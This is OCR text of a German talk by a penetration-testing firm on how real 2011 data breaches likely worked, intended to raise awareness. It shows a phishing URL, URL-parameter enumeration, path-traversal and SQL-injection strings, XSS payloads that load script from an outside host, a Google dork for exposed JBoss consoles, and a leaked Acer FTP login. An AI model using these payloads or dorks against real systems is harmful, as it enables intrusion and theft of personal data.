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Einleitung

RedTeam Pentesting, Daten & Fakten

y},’ Uber den Vortrag
A Qualifikation

RedTeam Pentesting, Daten & Fakten

* Gegriindet 2004 in Aachen

* Spezialisierung ausschlieBlich auf
Penetrationstests

* Weltweite Durchfiihrung von
Penetrationstests

* Forschung im Bereich der IT-Sicherheit
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Uber den Vortrag

Kein Tag ohne neue Nachrichten iiber Hacker und Datendiebstahl

21.06.2011
Scotla!n_d D Dropbox akzeptierte vier Stunden lang beliebige
Hacktivisten UFDATE .
Passworter
22'03_2011 ; Nach Hacker-Angriffen
Gezielter Angriff auf Kunden von .
K&M-Elektronik UpDaTE NSA und Provider wollen
Riistungsfirmen schiitzen
Computerspiele-Hersteller MILLIONEN GESCHADIGTER NUTZER
i ) Ermittler fz n Internet-
Hacker dringen in Sega-Netzwerk  gerrigerbande
ein )
Lulz Sec + Anonymous: Verbundete Hacker nehmen Banken aufs Korm
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Uber den Vortrag

* Oft wird in den Medien aus Unwissenheit Ungenaues oder
Falsches berichtet

* Oder es werden gar keine Details genannt

»*

Fragestellung: Wie funktioniert sowas eigentlich wirklich?

* Ziel: Hintergrundwissen vermitteln, Angriffsszenarien
verstehen lernen

* Seien Sie interaktiv = Workshop

Patrick Hof - RedTeam Pentesting GmbH Datendiebstahl und wie er grundsitzlich funktioniert



Einleitung

RedTeam Pentesting, Daten & Fakten

y}]’ Uber den Vortrag
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Unsere Qualifikation

Was qualifiziert RedTeam Pentesting, iiber
dieses Thema zu reden?

* Wir brechen jeden Tag im Auftrag
unserer Kunden in deren Netzwerke und
Applikationen ein

* Wir benutzen dieselben Methoden,
welche auch die ,,Bdsen” verwenden
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Realitatsnahe Beispiele

* Wir kennen auch nicht unbedingt mehr Details als die Medien
* Aber: Wir wissen, wie Angriffe grundsatzlich funktionieren

* Wir kénnen im Zweifelsfall aus den wenigen Details schlieBen,
wie es wahrscheinlich war

* Die meisten Beispiele in diesem Vortrag zeigen, wie Angriffe
generell funktioniert haben kdnnten
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Sicherheitsliicke Mensch

‘ » Menschliches Versehen
w Spear-P

Acer — Menschliches Versehen

W

Security

m Hintergrund Erste Hilfe Foren Tc

Security > News > 7-Tage-News > 2011 > KW 23 > Acer gibt versehentich 40.000 Kundendaten zum Dow
MNews-Meldung vom 06.06.2011 15:10 « Vorige | Machste »

Acer gibt versehentlich 40.000 Kundendaten zum Download
frei

uarlesen # MP3-Download

Die europaische Acer-Niederlassung soll auf ihrem FTP-Server versehentlich eine Datei
mit den personlichen Daten von rund 40.000 Kunden zum Download angeboten haben,
wie The Hacker News berichtet. In dem 13 MByte grofen ZIP-Archiv sollen sich diverse
nach Landern gegliederte Excel-Dateien befinden, die unter anderem Namen,
Mailadressen und Telefonnummern enthalten, Auch Seriennummern und
Modellbezeichnungen von Acer-Produkten befinden sich laut den versffentlichen
Auszigen in den Tabellen,

http://heise.de/-1255770
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Sicherheitsliicke Mensch .
Menschli

‘ » hes Versehen
/ Spear-Phishing

Acer — Menschliches Versehen

FTP-Anmeldedaten wurden bereits 2008 veroffentlicht

E

kothai (
Forum Guru We have fixed the below issue and released to the live as hotfix - Version 1.6.1.
- Issue: Exception is occuring while moving the case from Awaiting spares to under repair (Exception-Object reference not set to an instant

e Eom e Solution: This issue has been fixed, and the ASPs can proceed accordingly.

G rs
Last Login: Tuesday, February 17, 2009

Posts: 65, Visits: 218 If automatic updation has not taken place, please install manually. Reinstalling procedure is available in ASP Support forum - >http://asp.
121 aspx

For those ASP's who are having the proxy server issue, they can download the application from below ftp location and then install the app

ftp:liftp.acer- IAcer ASP_! _ASP_
Usermame: navasp

Password: WDivpea

The ASP Web version has also been renamed as 1.6.1
Thanks,
Acer ASP Support Team

http://www.thehackernews.com/2011/06/thn-report-acer-hacked-because-of-their.html
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Menschliches Versehen
Spear-Phishing

The '.Unsl]inghn Post wii Bloomberg
(Y
N Where Wastington and BusinessInersect

Economy Industries Local Business Markets Policy & Regulation Technolog

In the News  Foreclosures Energy tax breaks Greece

Post Tech

Deciphering the ones and zeros of tech policy with Cecilia Kang

About! Where's Post LT.2 | € Twitter | EJ On Facebook | £JRSS Feed | E-Mail Cecilia
MORE BUSINESS | Posted at 05:27 PM ET, 06/01/2011
Google: Hundreds of Gmail accounts
Your hacked, including some senior U.S.
government officials
By Cecilia Kang
Washington
Google said Wednesday a hacker in China obtained access

to hundreds of Gmail accounts, including those of senior U.S.

government officials, military personnel, Chinese political
Follow here
activists and journalists

http://www.washingtonpost.com/blogs/post-tech /post/2011/06/01/AGgASgGH _blog.html

LATEST TWEETS

ebstahl und er grundsitzlich funktioniert
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GMail — Spear-Phishing

Fw:Draft US-China Joint Statement inox x

Ti ails Jan §

Joint Statement - U S draft_KC edits.doc
51k View Download

http://contagiodump.blogspot.com/2011/02/targeted-attacks-against-personal.html
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GMail — Spear-Phishing

View- und Download-Link geht auf gefilschte
GMail-Login-Webseite:

http://google-mail.dyndns.org/accounts/
ServicelLoginservice=mail&passive=true
&rm=false&continue=bsv=1grm8snv3
&ss=1&scc=1&1tmpl=default&ltmplcache=2/
ServiceLoginAuth.php
?u=VictimGmailID
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GMail — Spear-Phishing

View- und Download-Link geht auf gefilschte
GMail-Login-Webseite:

http://google-mail.dyndns.org/accounts/
ServicelLoginservice=mail&passive=true
&rm=false&continue=bsv=1grm8snv3
&ss=1&scc=1&1tmpl=default&ltmplcache=2/
ServiceLoginAuth.php
?u=VictimGmailID
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GMail — Spear-Phishing

View- und Download-Link geht auf gefilschte
GMail-Login-Webseite:

http://google-mail.dyndns.org/accounts/
ServicelLoginservice=mail&passive=true
&rm=false&continue=bsv=1grm8snv3
&ss=1&scc=1&1tmpl=default&ltmplcache=2/
ServiceLoginAuth.php
?u=VictimGmailID
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GMail — Spear-Phishing

View- und Download-Link geht auf gefilschte
GMail-Login-Webseite:

http://google-mail.dyndns.org/accounts/
ServicelLoginservice=mail&passive=true
&rm=false&continue=bsv=1grm8snv3
&ss=1&scc=1&1tmpl=default&ltmplcache=2/
ServiceLoginAuth.php
?u=VictimGmailID

= Demo
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‘ » Menschliches Versehen
' Spear-Phishing

gefélschte GMail-Webseite

e 'Gmail; Emaill from) Goo
Hle Edit View History Bookmarks Tools Help

@ v @ @ []httpnr de:8888/ -

lost Visited™ [ Getting Started [§]|Latest Headlinesv

6] Gmail: Email from Google +

G|\_’| || Welcome to Gmail
ot

A Google approach to email.

Gmail is buit on the idea that email can be more intuitive, efficient, and useful. And

maybe even fun. After all, Gmail has Sign in to Gmail with your
Google Account
Less spam ©
Keep unwanted messages out of your inbox with Google's

g e

Read Gmal on your mobile phone by pointing your phane's web [ Stay signed in
browser to httpligmail.com/app. Lezin more

(s ]

Lots of spac
Over 7598.279373 megabytes (and counting) of free storage an' access vour account?

New to Gmail? It free and easy.

Create an account »

About Gmall  New features!

©2010 Google - Gmail for Business - Gmail Blog - Terms - Help

k Hof - RedTeam Pentesting GmbH

d wie er grundsatzl



Webapplikationen
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Citibank — URL-Manipulation

0)

Security

m Hintergrund  Erste Hilfe

Security > News > 7-Tage-Hews > 2011 > KW 24 >

Foren T

Gibank A

News-Meldung vom 15.06.2011 12:50 «\Vorige | Machste »
Datenklau bei der Citibank gelang durch simple
URL-Manipulation UPDATE

wolesen 7 MP3-Dawrinad
Bei dem Diebstahl von rund 200.000 Kundendaten der Citibank mussten die Kriminellen
nicht tief in die Trickkiste areifen, wie ein Sicherheitsexperte gegentber der New York
Times bekannt gegeben hat. Demnach gelang der unberechtigte Zugriff, den die
US-Bank bei einer Routinekontrolle Anfang Marz entdeckt hat, durch das simple
Manipulieren eines URL-Parameters. Hierzu mussten sich die IKriminellen zunachst mit
einem gultigen Account in den Kundenbereich fir Kreditkartenkunden einloggen.
AnschlieRend konnten sie einfach eine Nummer in der Webseitenadresse hochzahlen,
um an die Daten der anderen Kunden zu gelangen — dies taten sie mit Hilfe eines Skripts
mehrere zehntausend Mal.

http://heise.de/-1260559

URL-Manipulation
Local-File-Inclusion
Cross-Site-Scripting
SQL-Injection

)

Security

m Hintergrund  Erste Hilfe

Security > News > 7-Tage-News > 2011 > KW 25 > Datendiebe erbeuten 2,7 Millionen US-Dollar von Gilb:

Foren T

N

Meldung vorn 2 11714 «\orige | Nachste »

Datendiebe erbeuten 2,7 Millionen US-Dollar von Citibank-
Kunden

vorecen / 1P3-Dourioad
Nachdem unbekannte Hacker am 10. Mai 360.083 Kundendaten von den US-Servern
der Citibank mittels eines simplen URL-Tricks erbeutet hatten, haben die Einbrecher nun
damit begonnen, die Konten der Betroffenen zu plindern. Wie das Wall Street Journal
meldet, seien inzwischen 3.400 Konten um insgesamt 2,7 Milionen US-Dollar erleichtert
worden

http://heise.de/-1268108




URL-Manipulation

‘ » e Local-File-Inclusion
w Webapplikationen Cross-Site-Scripting

SQL-Injection

Citibank — URL-Manipulation

So oder dhnlich kann es funktioniert haben:
@ Anmelden als normaler Citibank-Kunde
© https://online.citibank.com?account=123456
© https://online.citibank.com?account=123457

@ Automatisiert hochzdhlen und Riickgabe auswerten = fertig
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SQL-Injection

Schufa — Local-File-Inclusion

Fecalordnet’y

= = Home HoS iber mich_Impressum

Startseite - Kommentare ansehen

SCHUFA Webseite - gravierende Sicherheitsliicke
bietet beliebige Dateien zum Download an
am 1846207 T [ Kommantare (8)

SCHUFA "Wir schaffen vertrauen”

Bei der Suche nach einem Antragsformular auf der \Wehseite der
SCHUFA unter meineschufa.de fiel mir ein Link ins Auge, der das
klassische hMuster einer local file inclusion Schwachstelle aufweist. Um
dies zu testen ohne mit dem Gesetz in Konflikt zu treten, habe ich
lediglich wversucht, die Download-Datei selbst herunter zu laden. Die
entsprechende Downloaddatei bietet darauf hin die Uber den “file”
Parameter angeforderte Datei als Binary mit dem RNamen der
Downloaddatei zum Herunterladen an.

http:/ /www.secalert.net/post.php?id=15
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SQL-Injection

Schufa — Local-File-Inclusion

So oder dhnlich kann es funktioniert haben:

https://www.meineschufa.de/download.php
?f£ile=SCHUFA_Broschuere-Produktueberblick.pdf

https://www.meineschufa.de/download.php
?file=../../download.php
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Schufa — Local-File-Inclusion

So oder dhnlich kann es funktioniert haben:

https://www.meineschufa.de/download.php
?f£ile=SCHUFA_Broschuere-Produktueberblick.pdf

https://www.meineschufa.de/download.php
?file=../../download.php

= Demo
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ol

Beispiel-LFI Damn Vulnerabl

URL-Manipulation
Local-File-Inclusion
Cross-Site-Scripting
SQL-Injection

e Web App

¥ ‘Damn Vuln e

Fle Edit View History Bookmarks Tools Help

$ @

E httpi/f10.0.2.2:8080/vulnerabilities/fi/7page:

(6] Gmail: Email from G... [@] Damn \ulnerable W..

Damn Vulnerable Web App (DV... |

rootx0:0:100t/root/binbash daemonx:L:1:daemonyusrisbinbin/sh binx:2:Zbin:
Igames:bin/sh man: IDXT:7:Ip:

Ibinfsh mailx 8::maikvarmail/bin/sh news:x 9:9news:var/spoolinews:bin/sh
UUEp10:10:uucpvarispooliuucpIbin/sh proxyx13:13:proxy./bin /bin/sh wiww-datax 33:33

v
Jbin7bin/sh sysx3:3:sysdev/bin/sh syncx4 65534 syncibinbinisyne gamesx5560:0[~|

Ibinsh

backupx34:34
System (admin)

listx38:38 Mailing List Managsr lbin/sh ircx:39:39:

gnatsx4141:Gnats

bin/sh syslogx101:10 Ibinifalse dvwax10001000:dvwa, fhomel

nobodyx65534:65534 libuLid:100:101

usbmuxL 04:46:usbmux dasmon, infal

Ibin/bash sshdx102:65534 1

Instructions

Setup

Brute Force
Command Execution

CSRF

[Fie mausion |

SQL Injection

pulsex105:111 PulssAudio dasmon, varirun/pulss /binfalse it 106:113 Realtimekit, /proc/binfalse
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Cross-Site-Scripting

AJETCRAFT

Webapplikationen

URL-Manipulation
Local-File-Inclusion
Cross-Site-Scripting
SQL-Injection

Rackspace Managed Hosting - Web Hosting - Hosting

[ [seah

Whars that ite running?
netcraft

33 Subscribe to our RSS feed
] GetNews updates by emall
FollowUs on Twiter

Netcraft Services
Phishing & Security
Ant-Phishing Toolbar
Phishing Site Feed
Hosting Phishing Alerts
Bank Fraud Detection
Phishing Sits Countermeasures
Auditeg an
Open Pedirect Detection
Web Application Securly Te:
Web Application Seculy Course

Internet Data Mining
Hosting Provider Analysis
Millon Busiest Websites
Busiest Sies Swithing Analysis

Hosting Provider Server Count
Hosting Ressller Sunvey
st sunvey

Internet Exploration
Whats hat ste running?
SearshNS
Sites ontha Hove

http://news.netcraft.com/archives/2008,/01/08 /italian_banks_xss_opportunity_seized_by_fraudsters.html

k Hof - RedTeam Pentesting GmbH

Italian Bank’s XSS Opportunity Seized by Fraudsters

n extremely convincing phishing attack is using a cross-site scripting vulnerability on an Iialian Bank's ovn
website to attempt to steal customers' bank account details, Fraudsters are currently sending phishing mails
which use a specially-crafted URL to inject a modified login form onto the bank's login page.

‘The vulnerable page is served over SSL with a bona fide SSL. certificate issued to Banca Fidsuram S.p.A. in taly:
Nonetheless, the fraudsters have been able to inject an IFRAME onto the login page which loads a modified
Login form fror b server hosted in Taiwan.

HTTPS URL

fideuramonline.t/script/L

=
Arrenzone:
-
2 HiSihinam
FORM INJECTED
BY FRAUDSTER

The fraudsters' login form presented inside the bank's SSL page.

Datendiebstahl

d wie er grundsatzl
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netzwerk recherche — Cross-Site-Scripting

= Demo: netzwerk recherche-Webseite
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SQL-Injection

netzwerk recherche — Cross-Site-Scripting

Original-URL mit Suche nach dem Wort test

http://www.netzwerkrecherche.de/index.php
?article_id=209
&clang=0
&rexsearch=test

&submit=0K
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SQL-Injection

netzwerk recherche — Cross-Site-Scripting

Cross-Site-Scripting erste Test-URL

http://www.netzwerkrecherche.de/index.php
?article_id=209
&clang=0
&rexsearch="><script>
alert(/RedTeam Pentesting/)
</script><span id="
&submit=0K
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SQL-Injection

netzwerk recherche — Cross-Site-Scripting

Cross-Site-Scripting-URL

http://www.netzwerkrecherche.de/index.php
?article_id=209
&clang=0
&rexsearch="><script
src=http://d-foto.redteam-pentesting.de:8888
/xss/js/rt.js>
</script><span id="

&submit=0K
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SQL-Injection

netzwerk recherche — Cross-Site-Scripting

Cross-Site-Scripting-URL kodiert

http://www.netzwerkrecherche.de/index.php
?article_id=209
&clang=0
&rexsearch=72273E%3Cscript
+src’3Dhttp3A%2F/2Fd-foto.redteam-pentesting.de’%3A8888
%2Fxssh2Fjsh2Frt. jsh3E
%3Ch2Fscript%3E%3Cspan+id,3D%22

&submit=0K
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netzwerk recherche — Cross-Site-Scripting

Cross-Site-Scripting-URL verkiirzt mit URL-Shortener

http://bit.ly/1MtbE7
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netzwerk recherche — Cross-Site-Scripting

(&
Fle Edit View History Bookmarks Tools Help

@ (@ defindex php?article_id= | h=

[ netzwerk recherche +

ﬁl‘ ‘netzwerk recherche e. V.

Recherche fordern und £&r

netgwerk.
recherche

Jemine» 0000 sumee nr-Jahreskonferenz 2011
Projekte » . _— o "L12. Jul, Hamburg
—— _——————————————— RedTeam Pentesting GmbH iibernimmt Vorsitz bei netzwerk recherche

Konferenzen » Jetzt anmelden

Publikatiol I einer
Jabrskonteren2 201 ibergab Prf O Thomas Ll den orse ds 1P an
Presse » die RedTe glauben, hierm

R iching unaere HedomySe s ad Goe Thama 7 Seherhen boan 2
haben, sagte Laif vor den versammelten Teilnehmern.

pend

Jrainer» Mehr Infos zum Thema IT-Sicherheit gibt s auf den Webssiten von
Newstetior» RedTeam Pentesting

in»

Literatur »

Links »

Service » Zur Konferenz-Webseite
English » ‘nr-Termine fur thren Kalender
g Muckraker

http://www.netzwerk-recherche.de
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Webapplikationen Cross-Site-Scripting

A SQL-Injection

Sony Music Japan — SQL-Injection

SOPHOS  Froucts  Solutons  Support  Security  Parmers

Search articles »

naked seclr Ity % MM

Opinion. Advic

malware | spam| social networks | dataloss | law & order | apple | podcast | video | more b about

tomer howto b
stop the process’

Do-not-rack off o a slow star, Mozilla
adds supportfor Android

Apple support to infet
annot show th

jebsite brought
down byDDoS
Lu

b im
responsibilty

Sony Music Japan hacked through SQL
injection flaw

by Chester Wisni
FILED UNDER: Data

i on May 24, 2011 | 6 Comments
nerabiiy

Another day, anather attack on Sony. | reported
yesterday on the SQL injection attack exposing
user information on SonyMusic.gr and today

attackers have found flaws in Sonyusic.cop.

should never Use
f on vouriPhone
The Hacker News sent us a tip this evening
documenting a couple of vulnerable web pages
on Sonyhus that allowed hackers to
access their contents through S QL injection

Study reveal
of
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SQL-Injection

Sony Music Japan — SQL-Injection

Login Join Twitter!

LOL @Sony, nice Japanese website
dumbasses: http://pastebin.com
/NYEFLbyX

#.. LulzSec

The Lulz Boat

I © 2011Twitter AboutUs Confact Blog Status Resources APl Business Halp Jobs Terms FPrivacy I

http://twitter.com/LulzSec/status/72824915849523201
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URL-Manipulation
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a}l’ Webapplikationen Cross-Site-Scripting
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Sony Music Japan — SQL-Injection

PASTEBIN | #1PASTE T00L SINCE 2002 CREATE NEW PASTE | TOOLS | APl | ARCHIVE | FAQ | DOM|

PASTEBIN searcl

CREATE NEW PASTE gl TRENDING PASTES SIGN UP § LOGIN

LulzSec hates Sony too
BY: A GUEST | MAY 23RD, 2011 | SYNTAX: NONE | SIZE: 3.50 KB | VIEWS: 15,854 | EXPIRES: NEVER
COPY TO CLIPBOARD | DOWNLOAD | RAN | EMBED | REPORT ABUSE B Lke

1. @LulzSec was here you sexy bastards!

2

3. This isn't a 1337 h4x0r, we just want to enbarrass Sony some more. Can this be hack nunber 87 7 and a
halfe!

4

5. Stupid Sony, so very stupid:

6

7. SQLi #1: hitp://wa.sonynusic.co.jp/bv/cro-magnons,/track.php?iten=7419

8. SQLi #2: http://www.sonynusic. co. jp/bv kadonatsu/iten. php?id=304i ten=4490

L]

10. (tvo other databases hosted on this boxxy box, go for them if you want)

12. example of the tasty but not very exciting innards
13. table || columns

15. tour_image || cuser ctime image_file image tour_id
16. tour || cuser ctime visible until dt from_dt disporder comment title artist_id tour_id

http://pastebin.com/NyEFLbyX
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Sony Music Japan — SQL-Injection

So oder dhnlich kann es funktioniert haben:

Normaler Aufruf:

http://www.sonymusic.co.jp/bv/cro-magnons/track.php?item=7419

SELECT name FROM items WHERE id=’7419’
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URL-Manipulation

‘ » e Local-File-Inclusion
w Webapplikationen Cross-Site-Scripting

SQL-Injection

Sony Music Japan — SQL-Injection

So oder dhnlich kann es funktioniert haben:

Normaler Aufruf:
http://www.sonymusic.co.jp/bv/cro-magnons/track.php?item=7419
SELECT name FROM items WHERE id=’7419’

SQL-Injection, welche die Datenbankversion ausliest:

http://www.sonymusic.co.jp/bv/cro-magnons/track.php
7item=7419’+UNION+SELECT+@Qversion;--+

SELECT name FROM items WHERE id=’7419’ UNION SELECT
Q@@version;-- ’
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URL-Manipulation

‘ » e Local-File-Inclusion
w Webapplikationen Cross-Site-Scripting

SQL-Injection

Sony Music Japan — SQL-Injection

So oder dhnlich kann es funktioniert haben:

Normaler Aufruf:
http://www.sonymusic.co.jp/bv/cro-magnons/track.php?item=7419
SELECT name FROM items WHERE id=’7419’

SQL-Injection, welche die Datenbankversion ausliest:

http://www.sonymusic.co.jp/bv/cro-magnons/track.php
7item=7419’+UNION+SELECT+@Qversion;--+

SELECT name FROM items WHERE id=’7419’ UNION SELECT
Q@@version;-- ’

= Demo mit komplexeren Beispielen
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Webapplikationen

URL-Manipulation
Local-File-Inclusion
Cross-Site-Scripting
SQL-Injection

Beispiel-SQL-Injection Damn Vulnerable

Damu Vulerablt

b

A5 (DVWA) 110707 VGmerability 1S QUinjection ~iceweas:

Ele Edit View History Bookmarks Iools Help

@ [ httpy710.02 2:8080pnerabilties/slifrid=a"+UNION-+SELECT+GROUP_CONCAT(table_name-+SEPAR.

[6) Gmail: Emailfrom G.

B 0amn Winerable W.

[ Damn Wulnerable Web App (DV... | %

Home

bility: SQL Inj

Instauctions

[ ]

User ID:

Brute Force
Command Execution
csRE
File Inclusion

SQL Injection (Blind)
Uplo:

XSS reflected

XSS stored

DWW Sacury |
PHe o |
Aoout |

Logout

Submit

R

M INFORMATION [SCHEMA. TABLES;

Done
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) ‘ » Flashplayer-Sicherheitsliicke
/ Schlecht gewartete Software »Vergessene* Administrationsschnittstellen

RSA — Malware iiber Flashplayer-Sicherheitsliick

“fo)
W
——_ .
Security
m Hintergrund Erste Hilfe Foren T¢

Security > News > 7-Tage-News > 2011 > KW 14 > Einbruch bei RSA: Der Flash Player war schuld

I

Meldung vom 04 « Vorige | Nachste »

Einbruch bei RSA: Der Flash Player war schuld

uorlesen # MP3-Dounload

RSAhat in seinem Firmen-Blog Details zu dem vor rund zwei Wochen bekannt
gewordenen Einbruch in seine Server veroffenticht. Laut Uri Rivner, Leiter der Sparte
“Consumer Identity Protection” gelang der Einbruch ber eine Backdaor, die tber
infizierte Mails installiert wurcle. Die Mails enthielten im Anhang eine Excel-Tahelle, in der
wiederum eine praparierte Flash-Datei eingebettet war. Beim Offnen der Tabelle startete
der Flash Player zum Abspielen das Flash-Applets. Durch einen mittlerweile von Adabe
beseitigien Fehler war es maglich, Code in das System einzuschleusen und zu starten.
F-Secure hat den Ablauf eines Angriffs beschrieben, bei dem der gleiche Exploit
verwendet wurde,

http://heise.de/-1220792
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Flashplayer-Sicherheitsliicke

b,
w Schlecht gewartete Software »Vergessene* Administrationsschnittstellen

RSA — Malware iiber Flashplayer-Sicherheitsliicke

* RSA SecurlD Tokens

* Generieren alle x Sekunden einen
neuen Code

* Synchronisiert mit Authentication
Server

= Angreifer muss wissen, was aktuell SecurlD SIDS00 Token

auf dem Display steht
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) ‘ » Flashplayer-Sicherheitsliicke
/ Schlecht gewartete Software »Vergessene* Administrationsschnittstellen

RSA — Malware iiber Flashplayer-Sicherheitsliicke

Ablauf des Angriffs
* Angreifer senden Phishing-Mail an ausgewdhlte Mitarbeiter
* Anhang enthalt Datei ,, 2011 Recruitment plan.xls*
* Excel-Datei bettet Flash-Datei mit Exploit ein

* Dieser nutzt bisher unbekannte (Oday) Sicherheitsliicke im
Flash Player aus, um Fernsteuerungssoftware zu installieren

* Angreifer nutzen im internen Netzwerk weitere Schwachstellen
aus, um an Seeds und Algorithmen fiir die Tokens zu gelangen

= Codes konnen von den Angreifern ohne Token berechnet werden

Patrick Hof - RedTeam Pentesting GmbH Datendiebstahl und wie er grundsitzlich funktioniert



b,
% Schlecht gewartete Software

ca. zwei Monate spater — Einbruch bei Lockheed Martin

News Sectors
&Markets &Industries arch Hews & Quote

ARTICLE COMMENTS (14]
Follow Reuters Exclusive: Hackers breached U.S. defense
5] contractors

hreconmena | I8 1047 reconmendaons. i1 Up o see what your fends.
commend.

MOST POPULAR
RERD
w Demacratspush ar jovs 6 shuemis
e in debi deal Emit
en cant keep breastimplans or e & pam
Retated iews

4 Boston crime boss WhiteyBulger
Obamamoves toward et from Alghanistan

China's raitvay boom hures info he rad

By Jim Fikde and Andrea Shalal£sa

oscussen BOSTONMWASHINGTON iy 27, 20117 1om EOT

(Reuters) - Unknown hackers have broken into the
security networks of Lockheed Martin Corp (LMT.N)
and several other U.S. military contractors, a source
4 Venerelsvendsrewilieson wiith direct knowledge of the attacks told Reuters.

122 | CO0sees gowmmentbonetts
Swamping U'S. economy

http://www.reuters.com/article/2011/05/27 /us-usa-defense-hackers-idUSTRE74Q6VY20110527
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Schlecht gewartete Software

‘ ‘ » Flashplayer-Sicherheitsliicke
l »Vergessene* Administrationsschnittstellen

» Vergessene" Administrationsschnittstellen

* Vom Internet zugreifbare
Adminstrationsschnittstellen

* Vielfach trivial auffindbar iiber e®"*
Suchmaschinen ‘BOSS

* Da ,vergessen": oft Standardlogins (z.B. o0
admin/admin)

* Beispiel: JBoss Application Server
JMX-Console
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Schlecht gewartete Software

‘ ‘ » Flashplayer-Sicherheitsliicke
l »Vergessene* Administrationsschnittstellen

» Vergessene" Administrationsschnittstellen

* Vom Internet zugreifbare
Adminstrationsschnittstellen

* Vielfach trivial auffindbar iiber e®"*
Suchmaschinen ‘BOSS

* Da ,vergessen": oft Standardlogins (z.B. o0
admin/admin)

* Beispiel: JBoss Application Server
JMX-Console

= Demo
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Flashplayer-Sicherheitsliicke
»Vergessene“ Administrationsschnittstellen

A Schlecht gewartete Software

» Vergessene" Administrationsschnittstellen

GO C ,8[6 [ "3Mx Agent View" inurtjme-console Suche

Ungtate 31900 Eretrisse (020 Soknden) Goage cominEngien Erwert Suche
1 Alles Tipp: Suchen Sie nur nach Ergebnissen aut Deutsch. Sie kbnnen Ihre Sprache in den Einstellungen angeben.
8 Bilder
B vdeos JBoss IMX Console - myintranet olace.d

videos 30 AgentView.mynvanet pace d 5.0 - deal Oleciame Fiter (¢, poss

News senics=imoker) - Cataina...

myxplace de/jmx.console/ - Im Cache

Shopping

® soctes JBoss IMX Console - WEBSUCURSAL-WEE (0.0.0.0) . - eite bersetzen]
e 3MX Agent View. WEBSUCLRSALWE (0.0 - defalt, bfciams it (o,
® Places Senico=invoker, ) : Catalina. type=Seer - typ
108080} console - Im Cache - Annichi
¥ Blogs
W ozt JB0ss IMX Console - apnvup-01 (0.0.0.0)
X Agent View, o up 5 0000 el Obciame Fia (0. poss
sionen *sece-nokar) : Catans, ype-Sener - ype-StingCache .

eredenaves 2pn gob pe/jmx-console! - Im Cache

Standort andem JBoss JMX Management Console . - [ Disse Seit
IMX Agent View BALWEBSVR. Objectilame Fitsr (e.g. Ahn!s
Catalna. typs=Senver - type=StringCache. JMmplsmentation

"
+senicaimoker )

Das web agni bafafauto.co In:708L/jmx-console) - Im Cach

Seiten auf Deutsch anbe !

Seiten aus Deutschiand  JBoss IMX. Console - gi-jboss1 (0.0.0.0)

Ubersatzte Seiten X Agent View, gijposs1 0309 dl Obeciame i (o..:"poss "

*seniceimioker 01 07:27-20 CEST 2011 ..

Alle Ergebnisse

44851604871 Gedicated Nowaurape dema-consolekmiAdaptor?.. - Im Cache
Wunderad

ferwandte JB0ss IV Console - shinobun,intra.oriented.ch (0.0.0.0)
Suchanfragen WX Agent View. shinabun,va oteradch (00.0.0) dsfau. OBjecame ke (o5

“fboss+ ice=invoker,"): Wed Apr 20 08:52:38 CEST 2
W L10011 ch/jmx.console/HtmIAdaptor?action. . - Im Cache

Mehr Optianen

JB0ss IMX Management Cor [De: I
INX Agent View ins. Oblectifame it (¢ g "oss:*, + sen
s ingCache. JMimplementation

sycenter.com:909L/jmx-console/HtmlAd:

0
woker, ) : Catalina.

or2... - Im Ca

http://www.google.de/search?q=%22JMX+Agent+View%22+inurl%3Ajmx-console
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Schlecht gewartete Software

‘ ‘ » Flashplayer-Sicherheitsliicke
l »Vergessene* Administrationsschnittstellen

» Vergessene" Administrationsschnittstellen

[ hetp i, defimx-console/ ~ ® [ Google g
2o & O~
o° . i
\d B JMX Agent View =
my.intranet. .de (0.0.0.0) - default
o0
ObjectName Fitter (2.g. ‘jooss:**, “*:service=invoker,) | Applyilter
Catalina

o type=server
« typesStringCache

JMIimplementation
* name=Default.service=LoaderRepository
* type=MBeanRegistry

« type=MBeanServerDelegate

com.arjuna.ats.properties

« modulesarjuna
« moduli
« module=txol
de..wis .« Lo oiw o .frontend
« servicesEanGeneratorservice
o se sticsService

de. [ o .streaming.servlet

« service=MediastreamingServlet
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Fragen

* Datendiebstahl / , Hacking" ist oft einfacher als man denkt

* Sicherheitsliicken ergeben sich vielfach aus menschlichen
Fehlern

* Nur weil die gestohlenen Daten aktuell noch nicht missbraucht
wurden, heiBt dies nicht, dass es nicht in Zukunft geschieht

* Es gibt noch viel zu tun in der IT-Sicherheit
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Vielen Dank fir lhre
Aufmerksamkeit

Freie Diskussion

Patrick Hof - RedTeam Pentesting GmbH Datendiebstahl und wie er grundsitzlich funktionier!



	Einleitung
	RedTeam Pentesting, Daten & Fakten
	Über den Vortrag
	Qualifikation

	Sicherheitslücke Mensch
	Menschliches Versehen
	Spear-Phishing

	Webapplikationen
	URL-Manipulation
	Local-File-Inclusion
	Cross-Site-Scripting
	SQL-Injection

	Schlecht gewartete Software
	Flashplayer-Sicherheitslücke
	Use `` for a simple double quote character.ngerman: The command "V is undefined``VergesseneÄdministrationsschnittstellen

	Fazit
	Fragen


